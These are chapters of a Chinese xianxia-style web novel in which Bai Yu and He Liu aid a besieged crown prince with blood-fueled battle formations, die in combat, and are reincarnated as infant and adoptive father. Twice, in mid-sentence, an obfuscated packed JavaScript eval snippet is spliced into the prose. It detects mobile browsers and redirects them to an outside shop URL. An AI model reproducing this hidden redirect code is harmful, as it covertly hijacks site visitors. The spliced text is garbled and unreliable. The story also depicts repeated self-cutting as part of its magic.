“我知道你们是为了太子被围困,要不要去援助而争吵,但是我们手上一无人马,二无铁骑,就算去了也是送死。”贺六担忧的眼神望向白羽,轻声道:“一个月前还是盛世景象,如今却天翻地覆,谁心里都不好受,但乱世中大家活着都不容易,我们不用给自己加负担,‘天下兴亡,匹夫有责’那是说给有能力承担天下的人说的,至于我们这样的平民百姓,命如蝼蚁,权利相争者根本不看在眼里。” 牡丹揪着贺六的话对白羽指指点点,“看看!你看看!人家一个身长八尺,顶天立地的健壮男儿都知道的道理,你一个手无缚鸡之力,又无一技傍身的弱女子逞什么英雄?” 贺六:…… 这些道理白羽不知道吗? 她救太子与天下时局无关,说白了这皇帝的位子,是太子坐还是叛军坐,是两条腿的蛤蟆坐还是三条腿的王八坐,跟她一点关系都没有,贺六不懂也就罢了,牡丹怎么可能不懂,不过就是想和她作对罢了。 “唉……”牡丹无奈地叹了口气,她在贺六面前说话不那么顾忌,是以握住白羽的手臂跟她说:“你师父的事情仙尊最清楚,你等我三天,最多三天,你先别冲动,我回去给你问清楚,等我回来再做打算。” 白羽平平淡淡地看了她一眼,没说话。 牡丹转头交代贺六,“贺六兄弟,有劳你帮我看住她,她脑子这会不好使了,别让她冲动行事,我三天后肯定回来,拜托你了。” 贺六点头承诺:“牡丹姑娘放心,我一定尽力。” “好,有你这句话,我放心。” 说完,牡丹推门出去。 屋子里安静下来,白羽没理会站在那里的贺六,兀自收拾她能弄到的所有武器,偷偷找铁匠打的长刀、找潘大夫要的银针、毒粉,打包好,她对贺六说:“你回去吧,你拦不住我,她回来也不会说你什么。” “我陪你去。” 白羽怕自己没听清,又问了一遍:“你说什么?” 贺六再次开口:“我说我陪你去。” “你知道我要去哪吗?”白羽笑了一下,说:“这次可不是看守稀松的播州地牢,也不是对敌两名捕快的春山涧,我有我不得不去的理由,你没必要跟着我冒这个险。” “我知道你要去哪儿,也知道你要去做什么。”贺六说:“来之前我跟贺老大拜别了,他的养育教导之恩我只能来世再报。” “你……” “我没读过什么书,也不明白什么大道理,但我年少时听过一句话,叫做‘士为知己者死’。来到京城后,我眼看着你卷入这些达官贵人的官司中,深知自己人微力弱,帮不上你什么忙。突然间,天下就乱起来,贺老大常说‘宁做盛世狗,不做乱世侯。’,太子殿下在我看来起码是一个好官,比烧杀抢掠、草菅人命的叛军要好,如果这样的人能胜,天下百姓起码还有希望。你也不用把我看得多么高尚,前面那些理由都很冠冕堂皇,最有用的是,我想帮你做你想做的事,这是我的私心。希望你能允许我帮你。” “算了,想来就跟上吧。”白羽低头,语气仍然硬邦邦地往前走,不去理会盘桓在心底那种可能被称之为“感动”的情绪,推开门说:“还有好长一段路要走呢。” 雪夜,营中士兵们即使睡觉也都很警醒,要换防的人甲胄是不必脱的,只在帐中找个地方躺下,睡个囫囵觉就是了。 黎明前,一名姓刘的百夫刚刚换值回来,直挺挺倒在床上,意识逐渐模糊时,突然外面有人叫喊:“敌袭!有敌袭!” 那声音竟有摧枯拉朽之势,号叫声吵醒了整片营区士兵,本来被围困就有惊弓之鸟、草木皆兵之态,闻此言后人还没从梦中清醒,手上先抓起兵器冲出营帐做好攻击姿势。 眼睛睁开后才看到被他们包围的“敌军”是一男一女两个年轻人,头发被雪夜的风吹得乱如蓬草,衣着却干净整洁,面有惊色却无奸细之态。 刘百夫是这片的头头儿,他左右看了看站出来问话:“你们,哪里来的?” 两人中那女子平静回应:“我名白羽,求见太子,烦请速速通禀!” 这两人谁啊?怎么一上来就要见太子? 在场的士兵都有同样的疑惑,刘百夫眯着眼睛细细打量这两人,那女的年纪看着很小,也就十五六岁,细皮嫩肉的,一看就不是做苦力活的料,估计是哪家的官小姐,那男的四肢修长,身形高大,略有肌肉,颜色却生得好,估计是这官小姐的保镖护卫。 刘百夫在心里一合计,非常时期非常对待,他也不敢耽搁太子的事,于是便派了一个小兵去太子帐前禀明消息,他们都在这里等候通传。 中军帐中,太子没睡,桌上摆着舆图,一旁的烛台上垂满了烛泪,似乎又是“替人垂泪到天明”的一夜,太子在桌后枯坐整夜。于是,外面通传的时候,他听了消息十分震惊,来人竟是白羽! 她还……活着啊。 虽不知陪她一同前来的那名男子是谁,但还是立刻派人将她接过来。 白羽过来时,太子竟站在帐前迎接她,乍一看,这半个多月来,他消瘦了很多,但风仪依旧,白羽快步上前拜见,太子亲自扶她起身。 随后介绍身旁的贺六:“殿下,这位是我的好友,同我同五殿下都是在播州相识的,他叫贺六。” 贺六拱手再拜太子。太子明显是知道他的,客客气气地叫了起。随后问白羽:“这山中守卫森严,白羽姑娘是如何进来的?” “说来话长,殿下容我进去跟您详细说明。”白羽说完,太子才注意到她与贺六连夜奔袭,山中风雪夜,形容都不是很规整,又忙让他们进帐整理被风吹散的发丝,吩咐人上了热茶,等两人收拾齐整便围在炉子旁诉说近况。 太子被困心焦,他率先提问:“白羽姑娘可与小五有联系吗?” “并未。”白羽摇头,问道:“宫宴结束后我就再没见过他,他是跟帝后一起走的吗?” 太子蹙眉,心内苦涩,淡笑道:“我也不知,陛下安排我与吴王各司其职,接到圣旨后我就出城了,临走前派了人去护送母亲和小五,但是如今派出去的人也联络不上,是以不知道他们是否安全。” “我和牡丹、贺六等人之前就住在五殿下名下的酒楼里,那夜叛军来袭,掌柜的带着我们在地下躲了三天,之后从暗道出来就到了城外,出城后我们一直在打探各路消息,前几日听闻您这里又开战了,我就想来相助,可惜有事耽搁了,今日总算是来了。”白羽问:“敢问殿下,您手上如今还有多少士兵可用?” 太子眼神闪烁,一一看过她和静静聆听的贺六后,道出实情:“几场仗打下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780776|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有折损,如今不过七万之数。” 以七万对三十万,这是场没有胜算的仗。 白羽点头,绕回了最开始太子问她的问题:“殿下方才问我‘山中守备森严,我是如何进来的?’”看太子点头,她咬咬牙决定和盘托出:“我略通阵法,用阵法迷惑了敌军守卫,方才在重重包围中进来。如若太子信我,我可布阵助您击杀敌军,突出重围!” 听完白羽的话,太子开始在心中思索,山谷外驻扎着三十万叛军,防守严密,白羽既然能在这样的情况下用阵法悄无声息地摸进来,她的阵法绝对称不上略通,怕是阵法大家也不为过。但他不能拿七万将士的性命作儿戏,需要进一步确认。 太子问白羽:“你的阵法如何作用?是攻是守?范围有多大?杀伤力如何?” 这…… 白羽一时说不上来,她当初修炼不精,但是各种稀奇古怪的阵法秘术学了不少,只是都没有实践过,因此她也不知道。 白羽斟酌着回答:“攻守一体吧,具体效果如何我需要一场小型战役检验。” “那倒是不必。”太子抬起手掌一指,示意道:“那边有行军沙盘,具体如何你可以推演给我看看。” 白羽跟着太子来到这块巨大的四方台前,她没用过沙盘,一时有些无从下手。只见这沙盘里竟然有具体的山林湖海、城池村落,白羽甚至能看出她和贺六来时走的哪条路,不少地方插着各种颜色的旗帜,也有简易的马匹和士兵,颜色和位置代表阵营。看着看着她觉得很像她师父养的微观世界池,这样想她心里就有底了。 她这次用的阵法和上一次遭遇刺杀时用的大杀招阵法不同,这个阵法覆盖范围更广,不同的是阵内绞杀,阵外围困,不会敌我不分。 白羽捡拾起沙盘上的人和马,按照自己的想法摆放于阵法作用的位置,这次主要阵地就是山林间作战,山谷口有叛军把守,想要出去,在没有密道的情况下,唯一能走的就是林间路。 随着白羽布局展开,太子的表情逐渐变得严肃认真,阵法落成,任谁都能看出,敌军损失惨重。 白羽收回手,太子眼神惊喜地看着她,连连夸赞:“白羽姑娘大退敌军,智计无双!” “殿下谬赞,”白羽额头冒冷汗,心想幸亏没出岔子,她真是第一次摆这个,心情定下来了,她就问太子:“殿下觉得此阵如何,能否助殿下突围?” 太子连日以来疲惫的脸上第一次露出笑容,动情道:“有白羽姑娘助阵,是吾之幸,是我军之幸,是我朝之幸!” 白羽被红光满面的太子拉去继续商谈阵法布置的详细事宜,站在旁边看了全程的贺六却若有所思地盯着沙盘中的阵法,他记得这种摆放规律似乎有些似曾相识,但他又没学过阵法,看不出相通之处。 突然之间,仿佛灵光乍现一般,贺六想起随慕五公子进京路上,在菩提驿外遭遇刺杀,他和牡丹护着白羽痛杀刺客,只是人越杀越多,他渐渐有些力不从心。但却在一瞬间,那些围着他们的众多刺客集体倒地身亡,当时离他们最近的几具尸体似乎就是这样摆的。 贺六一下子想通了很多东西,他知道白羽的朋友牡丹姑娘来历成谜,当时是她跳出来说这些人都是她杀的,如今看来,全是白羽的阵法所致。 太子和白羽探讨完毕,天色已然大亮,熬了一整夜,太子让人给他们准备暂时睡觉的地方,等补足精神后再开始排兵布阵。 ………… 半下午,白羽带着一队先锋人马插入山林中布阵,贺六始终跟随她左右,保护她的安全。一一布置完毕后,他们走在雪后的林间小路上,积雪松软,日头一晒,冷风一吹,雪路上面有一层薄薄的冰壳,人踩上去能听到碎裂的声音。 白羽回头看了一眼贺六,没话找话问道:“你好像一点也不惊讶?” 贺六愣了一下,随即明白了她在说什么,怕她误解自己是什么心思阴沉之辈,诚实地解释道:“当时也没多想,只当是牡丹姑娘武艺高强,还是昨晚观你沙盘布阵才有所联想的,‘真人不露相’。”贺六最后笑着调侃了一句。 “你这份体察入微才是一般人所不具有的本领。”他们俩互相挑对方的优点夸,白羽好奇,于是直白问道:“你是只对我这样,还是对所有人、事都如此细致妥帖?” 白羽在等他的回答,等了半天不见回响,转头欲问时,却听他转移话题道:“太子殿下来了。” 白羽看向前面,果然太子从转弯处现身,正大步昂扬地朝他们走来。 “殿下怎么来了?”太子走到近前了,白羽出声问道。 太子眺望远处已经布置好的阵法雏形,仿佛歼敌就在眼前,他的精神面貌彻底改换,极有兴致道:“左右无事,孤也来看看有无能帮得上忙的地方。” 白羽说:“已经好了,我们正准备回去。” 京畿军已经知道这位突然冒出来的才貌俱全的女子,就是日前圣旨赐婚给五皇子的白家姑娘,也是她检举揭发娄家勾结叛军,心里对她的认可十分也有了九分,剩下的一分就看过两天这阵法的厉害。 25. 殒命 “瑞雪兆丰年”,今年年景好,他们在除夕这一日晨起发动反攻,敌军的打算本是围困死守,如今看这些京畿军“困兽犹斗”,疯了一样想跑出包围圈,叛军首领一合计这可不行,于是两边开打了。 白羽和太子、贺六三人清早登上地势最高的地方,看着先锋军首先以“利刃”之势插入敌营,随后且战且退,将大批杀红了眼的叛军引入阵法,法阵无声启动,如预想的一般,阵内绞杀、阵外围困。 失去方向感的叛军如同沉默的木桩一样,任凭京畿军将士们“砍瓜切菜”般处理掉他们。 眼看情况不对,一下子就损失了这么多将士,叛军领兵之人当机立断,鸣金收兵。 京畿军好不容易打了场大胜仗,正想乘胜追击、扬眉吐气,一洗心中一番恶气,谁知对方竟然退缩了,都想继续冲锋,却碍于军令如山,只能眼看敌人退回营地。 “效果很好。”白羽放下拢在眉上的手掌,心知肚明地说道。 太子观战况,迅速总结:“此战歼敌两万有余!” 这恐怕是他行军以来打得最不费力的一场仗了,不费一兵一卒,换取敌营万颗头,太子兴奋地手臂都在微微颤栗。 白羽不乐观,说:“等会再战可就没这么轻松了,叛军熟知了我们的套路,肯定不会再乖乖钻入圈套,我要去调整阵法相位。” 贺六随白羽一起,他牢记自己的使命始终是保护白羽的安危。因此,自从上了战场就与她寸步不离。 “我派一队人随你同去。”太子道。 白羽如今是重中之重,太子也不敢疏忽她的安危问题。 叛军的领头人姓雷,长得又高又壮,身上肌肉虬结,脸上横肉顿生,手持一双板斧,他这次没出战,而是坐在观战车上掠阵,同样也发现了这些京畿军使了计策诱敌深入,不知道对方在搞什么神神鬼鬼的东西,一看自己人吃了亏,连忙鸣金收了兵。 等人都撤回来他一把揪住领兵的脖子就问:“老子问你怎么回事,一下子折了那么多弟兄!” “属下不知!”那领兵的战战兢兢,单膝跪地回话。 后面有懂行的人插嘴道:“以属下看,对方应该是在林中设了阵法,所以我们的人一进去全都被围困被绞杀,只是什么阵法威力这么强大?属下实在没见过。” “阵法?”雷将军嘀咕了两句,“那太子身边何时有这样的人才了,前几日怎么不见他拿出来用?” 他们还在里面讨论后续的对敌之策,有监视敌军动向的传令兵进来禀报:“将军,山林中有动静了,一个女子领着一堆人跑来跑去不知道在干什么?” 雷将军和手下兵将听了便立刻登上观战车远眺,果然见到了布阵之人,远远看去,只觉得她年纪应该很小,于是他回头问:“那是谁?这么大本事!” 还是刚才懂阵法的那人站出来,仔细看去,片刻后他突然笑了,说道:“此人将军应该认识,她就是那白松原之女,娄知县未过门的儿媳妇,后来跑到京城告御状,然后又被赐婚给了五皇子。她出现在太子麾下,也不稀奇。” 雷将军感兴趣地“哦”了一声,“这女子曾坏了我们的好事,今日可要她把命交代在这里!” “将军放心,毕竟这两人应该都很想知道那狗皇帝一行人的近况,我们可以好心告诉他们。”身后有个兵将猥琐地笑了起来。 再次开战后,叛军熟知套路,果然并不深入,只是隔着距离和他们打,一边打一边叫骂,有个声音又粗又高的汉子喊道:“对面的太子听着,我们将军怜你被困在这里半月有余,消息不通,不知道外面的情况,特意让我告诉你,皇帝一行逃出皇宫后,在咸阳道上就被我们杀了,一个活口都没留下,头颅都整整齐齐挂在咸阳城门上,说不定啊,这么多天都已经风干了哈哈哈!” “放肆!”太子大怒,终于在林中现身。 敌军看到他出来,他越生气他们越兴奋,又添油加醋许多细节,诸如皇帝身上佩戴什么玉佩,皇后戴了什么项圈,有个嫔妃长什么样子等等足一而具。 太子本来不信,听到这些细节简直要崩溃了,因为他们说得都是真的,寻常人不可能见过并且知道得那么详细,难不成父母和小五都…… 他脚下一个没站稳,险些腿软栽倒,白羽冲上来扶住他,她也暴露在敌军眼前,劝慰太子道:“殿下别信他们的话,两军阵前的叫骂都是为了扰乱对方军心,无论真假,一个字都别信!” 太子脸色难看地点头,站稳后听对方又开始了。 “对面那个小美人儿,你的未婚夫婿五皇子都死了,你还待在那个短命太子身边干什么,难不成不嫁弟弟嫁哥哥,要给人家做续弦啊!”这些话委实难听不堪入耳,白羽心中怒气顿生,对方却不肯停,又道:“我看你姿色不错,身段玲珑,不如来跟了我们雷将军,让我们将军好好疼疼你,伺候好了将来新朝建立,给你捞个王妃、公侯夫人坐坐!” 白羽冷声道:“乱臣贼子,也敢言论功行赏?” “放肆,简直放肆!”太子扯过身后一名士兵的弓箭,拉满弓弦,对准那名口出污言秽语的腌臜东西射了过去,羽箭携着雷霆万钧的怒气从天而降,可惜距离远,箭尖的威力到了近前声势弱了不少,被他躲过要害,险而又险地扎在了半边肩膀上。 方才那话,听得贺六也脸色难看起来,他目光紧紧锁定那长相猥琐的男人,若有机会,此人必死! 中箭后,那名敌方士兵并不惊慌,使力一拔,羽箭带着血肉被他拎在手上,肩膀上破了个大洞,也拦不住他那张犯贱的嘴,嬉皮笑脸道:“谢太子赠箭,您这是要送聘礼嫁弟媳吗?别这么见外,只要您把那美人儿打扮好了亲自给我们将军送过来,或许我们将军能看在这美人儿的份上赏你个伙头兵做呢!” 眼看着对面士气不如从前,一降再降,雷将军起了爱才之心,怜惜“人才”这张“好嘴”,那肩膀上的血洞再不堵住,这条胳膊就废了,喊了人让带他下去治伤。 方才或许是在互相试探,现在是要动真格的了。白羽怒过了,思路就越发清晰,调动起自己所学,渐渐又在脑海里铺展了一张大阵,她对太子说:“给我两队骑兵,我和贺六哥一人带领一队,从两侧杀入敌军腹地,协助我布置另一场大阵。他们刚才那些话不知真假,肯定多多少少对士气有所影响,殿下要说点什么稳定军心,何况那不一定是真的。” 太子幡然醒悟,他关心则乱,不如白羽看得清,此刻连连点头道:“说得对,临走前我派了得力之人去保护母亲和小五,他们若身死定会给我发信号,他们还活着也定会护着母亲和小五。况且钱方还在外面,他不会什么都不做,没给我消息,就证明母亲和小五肯定还活着!” 一句“母亲和小五还活着”支撑太子走向身后将士,他去鼓舞士气,白羽和贺六对视一眼,告知他待会儿该配合做什么,随后一人领着一队骑兵冲进敌人大本营。 白羽从最外围包抄,见人就杀,尸体随地躺下,倒成一圈,她又割开自己的手臂,温热的血液倾洒在雪地尸体上,红与白交相辉映。 刚开始敌军没反应过来,渐渐地越来越多敌方士兵追着他们杀,白羽一口气跑到最后面,和慕五接头后,沿着对方的来时路继续泼洒鲜血,骑兵缠住敌军,让白羽能顺利完成阵法布置。 一个人身体里的血能有多少? 贺六离得老远看到白羽横陈手臂,汩汩鲜血从她臂上倾洒下来,他愤怒、担忧、惊惧却无济于事,只能挥舞大刀多杀几个敌军,才能泄愤。 白羽怕血不够,天太冷,血液流出的速度不够快,她一边跑一边又在胳膊大脉上多划了几刀,还剩三分之一的路程时,她已经有些头晕眼花、体力不支了,咬咬牙加速冲到最后,阵成。 骑兵和敌军缠斗,让贺六有机会杀出重围与白羽接头。贺六看到白羽的瞬间,只觉得她脸色青白,全因失血过多,没有多余的话,拉着她的马,边回身杀敌边往山林中跑。 回来后,白羽二话不说又放了一碗血,在血碗里加入火油,随后点燃,只见远处空地上凭空燃起一圈火墙,以士兵尸体为燃料,火势逐渐向中心蔓延,在火阵中的人没一个能逃过吞噬。 当然也包含了他们的两队骑兵。 一碗血燃尽,碗底只余凝固的黑色血渍,再看远处一片焦炭,一个巨大的黑色圆圈在山谷外成型,谁看了都觉得瘆得慌。 只可惜还是让敌方的雷将军跑了出去,他本来在阵中心,最后关头敌军几个将士拼死将他投出圈外,狼狈地逃回了营地。 此战歼敌数万。 众人还没来得及高兴,站在太子和贺六中间的白羽就开始摇摇欲坠,贺六连忙扶她坐下,听她唇间逸散出几个虚弱的字眼,她在说:“冷,好冷……” 太子连忙让人去拿火盆和披风,又端来热水,军医来给她包扎伤口,胳膊上血淋淋的伤口,瞧着几乎被划得不像样子,包扎完后,他回太子说:“补血的药已经在熬了,还请这位姑娘等待片刻,此时注意保暖,吃点东西补充体力,切不可剧烈动作也不可睡过去。” 贺六严遵医嘱,一直在照顾白羽。 此战胜利,但也只是一个开始。 敌军吃了这么一个大亏,搞不好会猛烈报复,太子看过白羽后又紧急去布置下一步应敌之策。 果然没过多久,敌军发起了反扑,他们竟然放火烧山。冬日里山林积雪,这个计策本来行不通,但是他们让驯养的鹰带着火油从高空下倾洒。再使弓箭手放裹着猛火油的箭羽,双管齐下,引燃了林中树木,引发了山林大火。 水火无情,敌军同样用火来应对时,他们自己也逃不过,太子的所有计策只能泡了汤,组织手下士兵撤离,回到谷内空地上,砍树来不及了,只能下山后割出周围的灌木,好歹弄出一片隔离带。 太子号令一发,贺六抱起还在昏睡的白羽拔腿就跑。 半路上,白羽醒了,看到身后冲天火光,顿时明白了叛军想放火烧山,要么把他们烧死在山林中,要么把他们困死在山谷中。 白羽凉凉地笑了一声,她用火对方也用火,还是她实力不济,心也不够狠,明显敌军比她更狠。 回到营中后,白羽拍拍贺六的手臂,示意放她下来,太子随后赶来,白羽轻声问道:“殿下如今有什么计策吗?” 太子看了她一眼没回话,吩咐身后人,“去将赤蝶放出去。” “赤蝶?这是……”白羽疑问。 太子静默片刻,解释道:“山火无情,人力难以战胜。事到如今,除了冲出去拼杀,我已经想不到别的办法,与其让他们围困而死,不如以命搏命。吴王幼年时中过一种奇毒,此毒未解,孤也是偶然得知,使人查过后得到证实,这种毒若碰到赤蝶鳞粉,中毒者吸入则会全身溃烂而亡。所以,孤这些年一直养着这些赤蝶。” 他悲愤闭眼,士兵们都去山谷割隔离带了,周围只有他近身伺候的人以及白羽和贺六。于是,他说出了一些不能道出口的丧气话。 “倘若今日命绝于此,母亲和小五下落不明,孤绝不放心吴王此人留于世间,他必须走在孤前头。”白羽还没问,太子就对着她和盘托出:“娄昭仪出身不高,却能和母亲这个中宫皇后争斗多年,除了她明白自己的定位,扮演好这个角色之外,还有谁在背后支持她,孤一清二楚。这些年不清不楚的宫闱斗争中,孤夭折了一个妹妹,陛下当年将罪责都推给了一名太医,可孤知道,下手的人是娄昭仪,她是死是活都不重要,重要的是,孤要保护母亲小五,吴王就算是失踪了,也必须死。” 原来当年华阳公主病逝,还有这样的秘辛。 他们说话从来只当个“哑巴”的贺六突然问道:“殿下可知那担了罪责的太医姓甚名谁?” “不记得了。”太子眼皮略微一沉,再抬眼就是一脸苦思不得的迷惑:“时间久远,加之当年事发之时,孤在外地巡视,回京后陛下已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780777|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经将那太医赐死了。” 白羽不欲再纠结这些往事,虽然她觉得贺六突然问这个有点奇怪,但眼下还是活下去更重要。 士兵们割完隔离带后,太子下令将所有粮食都拿出来做一顿盛宴,将士们多日以来终于吃了个饱饭,顿时斗志满满。稍微休整过后,太子配齐兵甲,重编队伍,预备出谷杀敌。 火势烤得山中积雪融化,山谷里一条河流水势暴涨,“哗啦哗啦”的水流声在寂寂冬日里,听在人耳中仿若春日里柳燕归来冰河开,是人生中的盛景之一。 太子对白羽和贺六说:“多谢两位这几日以来倾力相助,如此时局中,白羽姑娘贺六兄弟心存家国大义,吾感恩于心。接下来的战局两位就不必参与了,若我们得胜自然一切都好说,若我们败了,你们趁机逃出去,不必管我。” 白羽自角落提起一把剑,握住后,说:“我的人生信条里从来没有‘逃兵’二字,何况我本就是为救太子而来,今日为太子而死,也是死得其所。上阵杀敌,我义不容辞。” 白羽自觉早死早轮回,但是贺六的命不该由她决定,她回头对贺六说:“贺六哥,你受我牵累卷入战局,是我对不住你,今日似乎大局已定,你走吧,不要管我。” “我说过‘我陪你’。”贺六也拾起一把大刀。 他人生中最亏欠最感恩的人就是贺老大,自从决定追随白羽出生入死后,贺六先去找贺老大拜别,决意来生再报答他的养育之恩,既然心愿已了,他这条命便可以由着自己了。 三人相视一笑,太子摇头叹息:“也罢。末路英雄竟也有扶危济困之心,今日为国为己战死,都是死得其所!将士们!杀叛军,是他们搅得王朝风雨飘摇,令百姓不得安生,令我们妻离子散,让我们有家不能回,让我们用自己最后的力量杀光叛军,还盛世家园,让叛军看看我们的血性,祝愿我们来生都生活在一个和平安宁的国度里!” “尊太子令!” “杀叛军!” “兄弟们,杀一个不亏,杀两个赚了!” …… 雷将军从来不知道濒死的人竟然有这么大的爆发力。本来以为将这些残军败将围困而死已是定局,没想他们突然疯了一样反扑,冲入营中见人就杀,一个个斗志还很足,竟像杀不死一般,中了刀中了箭,还能站着,拼死再杀一两个人,真是邪了门儿了。 除夕夜,本来应是万家灯火贺团圆,如今却是战火连篇敬杀机。 身在战局,每个人都拼尽全力,贺六始终跟在白羽身侧,她在前面拼杀,他就在后面卫应,替她护住身后三尺安危,保她平安无虞。 骤然间,白羽攻势猛烈许多,贺六一怔,转头看前方,猛然发现和白羽缠斗的人正是白天出言不逊,被太子一箭射伤,手臂还吊在胸前的猥琐汉子。 他只能单手使刀,白羽也是失血过多,力弱体乏,一时间竟打了个平手。但他知道再这样下去,他必死无疑,这女的杀机很足,旁边还有一个身康体健的男人,于是他下手越发勇猛。 贺六恨他很久了,机会送到眼前,自然要把握住。 他提刀上前和这人缠斗起来,动起手来竟发现他力量不弱,再看白羽手臂上刚包扎好的伤口已经崩裂,正在往外渗血,顿时不再轻敌,尽全力应付他。 这人单手斜刀劈砍,角度刁钻,贺六横刀架住,他力量不均,险些被掀翻,稳住身形后,一刀挥至圆满,正准备提力再砍,却突然怒目圆睁,身形顿住了,不敢置信地低头看着那枚洞穿脖颈的剑尖。 白羽冷然将剑抽回,那人脖中鲜血顿时向外喷洒,喉中“咔咔”作响,却发不出半点声音。 “你辱我,辱太子,辱慕五,你实该死!所以我要亲手杀了你!” 白羽说完,平静地看着他倒地,随即断气身亡,身边的战况却不容许他们有多余的时间松懈,敌军又如潮水般涌来。 只能提剑再战,战至力竭。 不知拼杀了多久,只知天幕完全黑下来已经许久了,远处山林中的火“生生不息”,映得半边天空灿如烟霞。场中尸横遍野,能站着的人占极少数,而敌军好像杀不完一样,还是那么多,令人绝望。白羽哈气成冰,她耳边喊打喊杀声远去,贺六已经为保护她身中数剑,却仍然固执地不肯离去。 白羽用尽身体中最后一点力气,挥出一剑,杀退一个敌军,听他们说:“太子已死。” 太子也死了啊! 剑从手中脱离,白羽神魂游离间,感受到一支羽箭穿透她的身体,随后迎接她后背的不是肮脏腥潮的地面雪泥,而是一个温暖湿润的怀抱。 她神游天外,仿佛回到幼时回岸山中,山中受上神之力庇佑,四季温暖如春,温泉池眼汩汩,白羽最喜欢以鹤身泡在里面嬉戏。 她睁眼看到的却是贺六糊满血迹的脸,明明自己身上的血洞比她多,却还是流着眼泪去堵她身上的箭伤,她提起一点力捂住他的手,示意他别费力了。 白羽张张嘴,想说些什么,却发现自己发不出声音。贺六看到了止住泪意,低下头凑近她说:“你想说什么?我听着,你说。” “希望……来世睁眼……还……还能看到你……” 白羽一句话说完撒手人寰。 贺六把她抱得更紧了,头埋在她脖子里无声无息。 良久后,战场平息下来,有几个士兵过来清理,看到两个人以为还活着,连忙汇报:“将军,这里还有两个人!” 雷将军走过来一看,从衣着上分辨出了这是那个精通阵法的女子,走进再看,两个人尸身僵硬早已没了气息。 回头吩咐道:“把他们分开,和太子的尸身放在一起。” 几个士兵上前使力,无论如何也分不开那男的环抱的手臂,垂头丧气道:“将军,分不开,那男的抱得太紧了,尸体也僵硬了。” “分不开就一起抬走吧。”雷将军挥手道。 死性,战场上还这么痴情! 26. 女婴 白羽再次睁眼的时候,第一眼看到的是一双近在咫尺的泛着浅蓝色光泽的眼眸。她想老天什么时候也把她当个人物了,临终遗言竟也给她费心安排。 之后又在心里暗骂轮回道厚此薄彼,她和贺六前后脚死的,凭什么他能比她痴长许多年岁。 下一刻就体力不支,陷入了昏睡之中。 再次醒来,降生地点又变了。 她躺在一张陈旧的木床上,被褥陈旧,颜色也灰扑扑的,包裹她的襁褓是一条锦缎被面的小棉被,与这间简陋的屋子格格不入。 白羽想看看周围有没有人,可是婴儿的身体太柔软了,她连控制自己转头和翻身都很难,正挣扎间,房门被推开,进来了一个人。 白羽闻到一股淡淡的奶香味,虽然很不想承认,但她的肚子确实饿了,那人进来后朝床边走来,看到她在顾涌,惊讶道:“念儿醒了!来喝点奶吧。” 婴儿不会说话,白羽只能像猫叫似的,喉咙里含糊地哼唧几声用来回应。 那人一把把她抄起来,抱在怀里,微微有点温热的羊奶喂进了她嘴里。 白羽喝饱后才有心情打量给她喂奶的这个人,抱着她的手臂沉稳有力,不会让人担心突然摔了她,捏着瓷勺的右手手掌巨大,手指修长,骨节粗大,虎口处有一层厚厚的茧子,和旁边的皮肤质感比起来略僵硬,这人大约是个“练家子”,武艺高强。 白羽想看他长得什么样子,于是在这人怀里蹭来蹭去想抬头。 没想到他以为抱得她不舒服了,连忙放下还剩些羊奶的碗,把她竖起来抱在怀里,轻轻拍了拍后背,嗓音有十分的温柔细致:“念儿乖,念儿乖。” 被抱起来,白羽终于看见了他的长相,男人约摸三十岁左右,五官俊朗,眉眼极其精致,只可惜眼睛里有很浓重的杀戮气,整体的气质又太过冷冽,所以便显得不那么……亲切? 但那双藏在黑色瞳仁中,于光芒下泛着浅蓝色的眼眸,仍然能让白羽一眼就认出来。 他是紫翎仙君。 是叶启。 也是贺六。 这一世竟然遇见这么早? 看眼下光景,她这一世和贺六应该是父女关系,就是他可能经济条件不太好。 白羽默默在心里叹了口气,只要日子能过得下去,钱嘛,总能挣的,放宽心吧。她还在想苦日子应该怎么过,就听抱着她的男人把她往上举了举,有些感慨地说:“念儿,从今往后,我就是你爹了。” 嗯?怎么个事儿? 白羽脑子里警钟长鸣,心想他这话什么意思?今后是爹,难道之前不是吗?她该不会是被偷来或是买来的孩子吧? 轮回道也是言而有信,这次开局也挺惨的。 日子就这么过着,贺六每天两碗羊奶养着她,也没让她饿过肚子,他们的生活环境还是没有改善,依然住在这间简陋破落的小屋里。 偶尔天气好的时候,贺六会把她抱出门晒晒太阳,白羽看到周围的景象,判断这里应该是一个小村落,他们的家是两间低矮的木头房子,院子里种了几行稀稀拉拉的青菜,“草盛菜苗稀”,看得出来操持家务的人是个生手。 围墙是用泥巴砌的,十分低矮,只有半人高,腿长一点的一个健步就跨过去了,也不知道在防谁。 左邻右舍,几乎都是这样建房的,想来这里民风淳朴,夜不闭户? 白羽在这里住了三个月左右,这天贺六给她喂完奶后,对她说:“念儿乖,你先在这里躺一下,爹去收拾行李,收拾好了我们就出发。” 贺六把她放在床上,就转身去翻箱倒柜打包行李去了。 白羽纳闷,就这么个家徒四壁的小房子,有什么贵重物品需要带走吗?她安静地躺在床上心想:搬家?住得好好的,为什么要搬家?看贺六的表情,似乎挺着急的,不然不至于带着一个刚出生几个月的婴儿出远门。 贺六很快打包了一个箱子和两个包袱,背在身后,用襁褓包裹住她,抱起来,利索地锁了门就转身走了。 路上,他雇了一辆马车,白羽不知道此行要去哪儿,她窝在贺六怀里,睡了个天昏地暗。 